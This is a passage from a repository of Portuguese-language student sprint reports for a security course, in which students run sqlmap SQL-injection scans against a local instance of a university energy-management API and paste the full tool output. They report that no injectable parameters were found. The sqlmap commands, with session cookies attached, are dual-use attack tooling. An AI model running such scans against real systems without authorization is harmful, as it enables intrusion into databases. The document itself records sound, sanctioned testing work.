116 | GET http://localhost:8000/api/university-user/ HTTP/1.1
117 | host: localhost:8000
118 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
119 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
120 | Accept-Language: en-US,en;q=0.5
121 | Connection: keep-alive
122 | Cookie: csrftoken=zYqIyZtXO4TtjvEJUTtigM2rAnFAL71o; sessionid=j82fxq43osmvn5c7ikuqmwfrylcxh8ya
123 | Upgrade-Insecure-Requests: 1
124 | ```
125 |
126 | Comando utilizado: sqlmap -r request.txt --batch
127 |
128 | Output:
129 |
130 | ```
131 | [*] starting @ 13:24:40 /2024-11-27/
132 |
133 | [13:24:40] [INFO] parsing HTTP request from 'request.txt'
134 | [13:24:40] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
135 | do you want to try URI injections in the target URL itself? [Y/n/q] Y
136 | Cookie parameter 'csrftoken' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
137 | [13:24:40] [INFO] testing connection to the target URL
138 | [13:24:41] [INFO] testing if the target URL content is stable
139 | you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
140 | [13:24:41] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
141 | how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
142 | [13:24:41] [INFO] testing if URI parameter '#1*' is dynamic
143 | got a 301 redirect to 'http://localhost:8000/api/university-user/1540/'. Do you want to follow? [Y/n] Y
144 | [13:24:42] [WARNING] URI parameter '#1*' does not appear to be dynamic
145 | [13:24:42] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
146 | [13:24:42] [INFO] testing for SQL injection on URI parameter '#1*'
147 | [13:24:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
148 | [13:24:43] [WARNING] reflective value(s) found and filtering out
149 | [13:24:46] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
150 | [13:24:46] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
151 | [13:24:47] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
152 | [13:24:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
153 | [13:24:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
154 | [13:24:48] [INFO] testing 'Generic inline queries'
155 | [13:24:49] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
156 | [13:24:49] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
157 | [13:24:50] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
158 | [13:24:50] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
159 | [13:24:50] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
160 | [13:24:51] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
161 | [13:24:52] [INFO] testing 'Oracle AND time-based blind'
162 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
163 | [13:24:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
164 | [13:24:54] [WARNING] URI parameter '#1*' does not seem to be injectable
165 | [13:24:54] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
166 | [13:24:54] [WARNING] HTTP error codes detected during run:
167 | 500 (Internal Server Error) - 4 times, 404 (Not Found) - 9 times
168 |
169 | [*] ending @ 13:24:54 /2024-11-27/
170 | ```
171 |
172 | A fim de aumentar um pouco a quantidade de testes, realizei mais testes com um comando modificado:
173 |
174 | Comando utilizado: sqlmap -r request.txt --batch --level=3 --risk=2
175 |
176 | Output:
177 |
178 | ```
179 | [*] starting @ 13:11:26 /2024-11-27/
180 |
181 | [13:11:26] [INFO] parsing HTTP request from 'request.txt'
182 | [13:11:26] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
183 | do you want to try URI injections in the target URL itself? [Y/n/q] Y
184 | Cookie parameter 'csrftoken' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
185 | [13:11:26] [INFO] testing connection to the target URL
186 | [13:11:27] [INFO] testing if the target URL content is stable
187 | you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
188 | [13:11:27] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
189 | how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
190 | [13:11:27] [INFO] testing if URI parameter '#1*' is dynamic
191 | got a 301 redirect to 'http://localhost:8000/api/university-user/9844/'. Do you want to follow? [Y/n] Y
192 | [13:11:28] [WARNING] URI parameter '#1*' does not appear to be dynamic
193 | [13:11:28] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
194 | [13:11:28] [INFO] testing for SQL injection on URI parameter '#1*'
195 | [13:11:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
196 | [13:11:29] [WARNING] reflective value(s) found and filtering out
197 | [13:11:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
198 | [13:11:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
199 | [13:11:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
200 | [13:11:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)'
201 | [13:12:03] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
202 | [13:12:13] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
203 | [13:12:24] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
204 | [13:12:34] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
205 | [13:12:39] [INFO] testing 'SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)'
206 | [13:12:49] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
207 | [13:12:50] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace'
208 | [13:12:50] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace'
209 | [13:12:50] [INFO] testing 'Oracle boolean-based blind - Parameter replace'
210 | [13:12:51] [INFO] testing 'Informix boolean-based blind - Parameter replace'
211 | [13:12:51] [INFO] testing 'Microsoft Access boolean-based blind - Parameter replace'
212 | [13:12:51] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
213 | [13:12:51] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'
214 | [13:12:52] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
215 | [13:12:52] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'
216 | [13:12:53] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
217 | [13:12:53] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
218 | [13:12:54] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
219 | [13:12:54] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause'
220 | [13:12:54] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause'
221 | [13:12:55] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause'
222 | [13:12:55] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'
223 | [13:13:06] [INFO] testing 'PostgreSQL boolean-based blind - Stacked queries'
224 | [13:13:08] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)'
225 | [13:13:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
226 | [13:13:16] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
227 | [13:13:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
228 | [13:13:23] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
229 | [13:13:27] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
230 | [13:13:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
231 | [13:13:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)'
232 | [13:13:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)'
233 | [13:13:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
234 | [13:13:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
235 | [13:13:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
236 | [13:13:45] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
237 | [13:13:48] [INFO] testing 'MonetDB AND error-based - WHERE or HAVING clause'
238 | [13:13:52] [INFO] testing 'Vertica AND error-based - WHERE or HAVING clause'
239 | [13:13:52] [INFO] testing 'IBM DB2 AND error-based - WHERE or HAVING clause'
240 | [13:13:53] [INFO] testing 'ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
241 | [13:13:56] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
242 | [13:13:59] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
243 | [13:14:00] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
244 | [13:14:00] [INFO] testing 'PostgreSQL error-based - Parameter replace'
245 | [13:14:00] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
246 | [13:14:00] [INFO] testing 'Oracle error-based - Parameter replace'
247 | [13:14:00] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)'
248 | [13:14:00] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'
249 | [13:14:01] [INFO] testing 'PostgreSQL error-based - ORDER BY, GROUP BY clause'
250 | [13:14:01] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Stacking (EXEC)'
251 | [13:14:03] [INFO] testing 'Generic inline queries'
252 | [13:14:03] [INFO] testing 'MySQL inline queries'
253 | [13:14:04] [INFO] testing 'PostgreSQL inline queries'
254 | [13:14:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
255 | [13:14:04] [INFO] testing 'Oracle inline queries'
256 | [13:14:04] [INFO] testing 'SQLite inline queries'
257 | [13:14:04] [INFO] testing 'Firebird inline queries'
258 | [13:14:04] [INFO] testing 'ClickHouse inline queries'
259 | [13:14:05] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
260 | [13:14:06] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
261 | [13:14:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
262 | [13:14:11] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
263 | [13:14:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
264 | [13:14:14] [INFO] testing 'PostgreSQL stacked queries (heavy query - comment)'
265 | [13:14:16] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)'
266 | [13:14:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
267 | [13:14:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)'
268 | [13:14:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
269 | [13:14:21] [INFO] testing 'Oracle stacked queries (heavy query - comment)'
270 | [13:14:23] [INFO] testing 'IBM DB2 stacked queries (heavy query - comment)'
271 | [13:14:23] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
272 | [13:14:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
273 | [13:14:27] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
274 | [13:14:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'
275 | [13:14:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
276 | [13:14:34] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (BENCHMARK)'
277 | [13:14:37] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (heavy query)'
278 | [13:14:38] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
279 | [13:14:41] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
280 | [13:14:44] [INFO] testing 'MySQL AND time-based blind (ELT)'
281 | [13:14:47] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
282 | [13:14:50] [INFO] testing 'PostgreSQL AND time-based blind (heavy query)'
283 | [13:14:53] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
284 | [13:14:57] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'
285 | [13:15:00] [INFO] testing 'Oracle AND time-based blind'
286 | [13:15:02] [INFO] testing 'Oracle AND time-based blind (heavy query)'
287 | [13:15:05] [INFO] testing 'IBM DB2 AND time-based blind (heavy query)'
288 | [13:15:07] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
289 | [13:15:09] [INFO] testing 'Informix AND time-based blind (heavy query)'
290 | [13:15:12] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
291 | [13:15:15] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
292 | [13:15:15] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)'
293 | [13:15:15] [INFO] testing 'PostgreSQL > 8.1 time-based blind - Parameter replace'
294 | [13:15:15] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)'
295 | [13:15:15] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE)'
296 | [13:15:15] [INFO] testing 'MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause'
297 | [13:15:15] [INFO] testing 'PostgreSQL > 8.1 time-based blind - ORDER BY, GROUP BY clause'
298 | [13:15:16] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)'
299 | [13:15:16] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE)'
300 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
301 | [13:15:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
302 | [13:15:23] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
303 | [13:15:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
304 | [13:15:37] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
305 | [13:15:43] [WARNING] URI parameter '#1*' does not seem to be injectable
306 | other non-custom parameters found. Do you want to process them too? [Y/n/q] Y
307 | [13:15:43] [INFO] ignoring Cookie parameter 'csrftoken'
308 | [13:15:43] [WARNING] Cookie parameter 'sessionid' does not appear to be dynamic
309 | do you want to URL encode cookie values (implementation specific)? [Y/n] Y
310 | [13:15:43] [CRITICAL] not authorized, try to provide right HTTP authentication type and valid credentials (401). If this is intended, try to rerun by providing a valid value for option '--ignore-code'
311 | [13:15:43] [WARNING] HTTP error codes detected during run:
312 | 404 (Not Found) - 304 times, 500 (Internal Server Error) - 66 times, 401 (Unauthorized) - 1 times
313 |
314 | [*] ending @ 13:15:43 /2024-11-27/
315 | ```
316 |
317 | Contudo, desta vez, ocorreu um erro que não constava nos logs da execução anterior. Que seria o 401, mesmo estando autenticado como admin.
318 |
319 | ### Dificuldades
320 |
321 | Num primeiro momento, as principais dificuldades foram referentes ao Docker do projeto. O qual funcionou apenas na máquina virtual Kali Linux.
322 | Após isso, estudei o básico de SQL Injection no material indicado pelo monitor e tentei fazer os testes nos caminhos api/universities e api/university-user.
323 | Entretanto, ao tentar fazer os testes, percebi que precisava de autenticação, o que foi a maior dificuldade até então. Para isso, resolvi estudando o módulo pago de SQLMap Essentials no material recomendado do HTB. Dessa forma, percebi que era necessário captar o header, o qual eu fiz por meio do OWASP Zap, ferramenta que pretendo utilizar futuramente para complementar os testes feitos no SQLMap.
324 |
325 | ### Próximos passos
326 |
327 | Como não encontrei nenhum tipo de falha, apenas falsos positivos. O ideal seria aprimorar os comandos utilizados, dado que foram utilizados apenas de comandos básicos. O material fornecido especifica diversos casos diferentes nos quais podem ser utilizadas outras formas de testes para lidar com idiossincrasias do projeto em questão. Ademais, seria interessante estudar a causa do erro 401 que aconteceu mesmo autenticado.
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/211031833_Taynara_Marcellos.md:
--------------------------------------------------------------------------------
1 | # Relatório Sprint 1
2 |
3 | ## Grupo OWASP - Sub-grupo 1
4 |
5 |
6 | Taynara Cristina Ribeiro Marcellos - 211031833
7 |
8 | ## Dificuldades
9 |
10 | A minha maior dificuldade foi em rodar a aplicação, estou com um problema no docker ao tentar rodar a aplicação no kali linux. Também foi difícil organizar o tempo de estudo dos cursos.
11 |
12 | ## Próximos passos
13 |
14 | - Estudar o próximo módulo definido pela sprint 2;
15 | - Rodar o ambiente;
16 | - Testar rota;
17 |
18 | ## Resultados
19 |
20 | Nessa primeria sprint comecei os estudos na HTB Academy, criei a virtual box, configurei o kali linux e clonei os repositórios.
21 |
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/211039250_Arthur_Grandao.md:
--------------------------------------------------------------------------------
1 | # Relatório Sprint 1
2 |
3 | Arthur Grandão de Mello - 211039250
4 |
5 | Grupo OWASP - Sub-grupo 1
6 |
7 | Para esta sprint eu procurei realizar os módulos do HTB Academy recomendados pelo monitor para poder realizar os testes de SQLi nas rotas da API do Mec Energia designadas pelo mesmo.
8 |
9 | ## Dificuldades
10 |
11 | Tive dificuldades em me organizar para estudar.
12 |
13 | ## Próximos passos
14 |
15 | Me aprofundar mais no curso do HTB Academy para conseguir melhores resultados nos futuros testes.
16 |
17 | ## Resultados
18 |
19 | Eu realizei testes com o `SQLMap` nas rotas `/api/users`, `/api/users/?id` e `api/users/change-user-password/`.
20 |
21 | ## /api/users/
22 |
23 | ```
24 | ┌──(grandao㉿kali)-[~/Projetos]
25 | └─$ sqlmap -u http://localhost:8000/api/users --headers="Cookie: csrftoken=uJi4syyAb4ZP6VOoIMefBMYY5ZMWH61K; sessionid=wj9ia2d13e962lah172txboazulrmmf4"
26 | ___
27 | __H__
28 | ___ ___[(]_____ ___ ___ {1.8.7#stable}
29 | |_ -| . [)] | .'| . |
30 | |___|_ [)]_|_|_|__,| _|
31 | |_|V... |_| https://sqlmap.org
32 |
33 | [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
34 |
35 | [*] starting @ 23:35:48 /2024-11-27/
36 |
37 | [23:35:49] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
38 | do you want to try URI injections in the target URL itself? [Y/n/q] y
39 | [23:35:50] [INFO] testing connection to the target URL
40 | got a 301 redirect to 'http://localhost:8000/api/users/'. Do you want to follow? [Y/n] y
41 | [23:35:57] [INFO] testing if the target URL content is stable
42 | [23:35:57] [WARNING] URI parameter '#1*' does not appear to be dynamic
43 | [23:35:58] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
44 | [23:35:58] [INFO] testing for SQL injection on URI parameter '#1*'
45 | [23:35:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
46 | [23:35:59] [WARNING] reflective value(s) found and filtering out
47 | [23:36:03] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
48 | [23:36:03] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
49 | [23:36:04] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
50 | [23:36:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
51 | [23:36:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
52 | [23:36:06] [INFO] testing 'Generic inline queries'
53 | [23:36:06] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
54 | [23:36:06] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
55 | [23:36:07] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
56 | [23:36:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
57 | [23:36:08] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
58 | [23:36:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
59 | [23:36:09] [INFO] testing 'Oracle AND time-based blind'
60 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
61 | [23:36:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
62 | [23:36:15] [WARNING] URI parameter '#1*' does not seem to be injectable
63 | [23:36:15] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
64 | [23:36:15] [WARNING] HTTP error codes detected during run:
65 | 404 (Not Found) - 69 times, 500 (Internal Server Error) - 3 times
66 |
67 | [*] ending @ 23:36:15 /2024-11-27/
68 | ```
69 |
70 | ## /api/users/?id/
71 |
72 | ```
73 | ┌──(grandao㉿kali)-[~/Projetos]
74 | └─$ sqlmap -u http://localhost:8000/api/users/?id=1 --headers="Cookie: csrftoken=uJi4syyAb4ZP6VOoIMefBMYY5ZMWH61K; sessionid=wj9ia2d13e962lah172txboazulrmmf4"
75 | ___
76 | __H__
77 | ___ ___[.]_____ ___ ___ {1.8.7#stable}
78 | |_ -| . [.] | .'| . |
79 | |___|_ [.]_|_|_|__,| _|
80 | |_|V... |_| https://sqlmap.org
81 |
82 | [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
83 |
84 | [*] starting @ 23:32:54 /2024-11-27/
85 |
86 | [23:32:54] [INFO] testing connection to the target URL
87 | [23:32:54] [INFO] checking if the target is protected by some kind of WAF/IPS
88 | [23:32:54] [INFO] testing if the target URL content is stable
89 | [23:32:55] [INFO] target URL content is stable
90 | [23:32:55] [INFO] testing if GET parameter 'id' is dynamic
91 | [23:32:56] [WARNING] GET parameter 'id' does not appear to be dynamic
92 | [23:32:56] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
93 | [23:32:56] [INFO] testing for SQL injection on GET parameter 'id'
94 | [23:32:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
95 | [23:32:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
96 | [23:32:57] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
97 | [23:32:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
98 | [23:32:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
99 | [23:32:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
100 | [23:32:59] [INFO] testing 'Generic inline queries'
101 | [23:32:59] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
102 | [23:32:59] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
103 | [23:32:59] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
104 | [23:33:00] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
105 | [23:33:00] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
106 | [23:33:01] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
107 | [23:33:01] [INFO] testing 'Oracle AND time-based blind'
108 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
109 | [23:33:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
110 | [23:33:06] [WARNING] GET parameter 'id' does not seem to be injectable
111 | [23:33:06] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
112 |
113 | [*] ending @ 23:33:06 /2024-11-27/
114 | ```
115 |
116 | ```
117 | ┌──(grandao㉿kali)-[~/Projetos]
118 | └─$ sqlmap -u http://localhost:8000/api/users/?*id=1 --headers="Cookie: csrftoken=uJi4syyAb4ZP6VOoIMefBMYY5ZMWH61K; sessionid=wj9ia2d13e962lah172txboazulrmmf4"
119 | ___
120 | __H__
121 | ___ ___[)]_____ ___ ___ {1.8.7#stable}
122 | |_ -| . ["] | .'| . |
123 | |___|_ [)]_|_|_|__,| _|
124 | |_|V... |_| https://sqlmap.org
125 |
126 | [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
127 |
128 | [*] starting @ 23:39:18 /2024-11-27/
129 |
130 | custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
131 | [23:39:23] [INFO] testing connection to the target URL
132 | [23:39:23] [INFO] checking if the target is protected by some kind of WAF/IPS
133 | [23:39:24] [INFO] testing if the target URL content is stable
134 | [23:39:24] [INFO] target URL content is stable
135 | [23:39:24] [INFO] testing if URI parameter '#1*' is dynamic
136 | [23:39:24] [WARNING] URI parameter '#1*' does not appear to be dynamic
137 | [23:39:24] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
138 | [23:39:24] [INFO] testing for SQL injection on URI parameter '#1*'
139 | [23:39:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
140 | [23:39:25] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
141 | [23:39:25] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
142 | [23:39:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
143 | [23:39:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
144 | [23:39:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
145 | [23:39:26] [INFO] testing 'Generic inline queries'
146 | [23:39:26] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
147 | [23:39:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
148 | [23:39:27] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
149 | [23:39:27] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
150 | [23:39:28] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
151 | [23:39:28] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
152 | [23:39:28] [INFO] testing 'Oracle AND time-based blind'
153 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
154 | [23:39:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
155 | [23:39:31] [WARNING] URI parameter '#1*' does not seem to be injectable
156 | [23:39:31] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
157 |
158 | [*] ending @ 23:39:31 /2024-11-27/
159 | ```
160 |
161 | ## api/users/change-user-password
162 |
163 | ```
164 | ┌──(grandao㉿kali)-[~/Projetos]
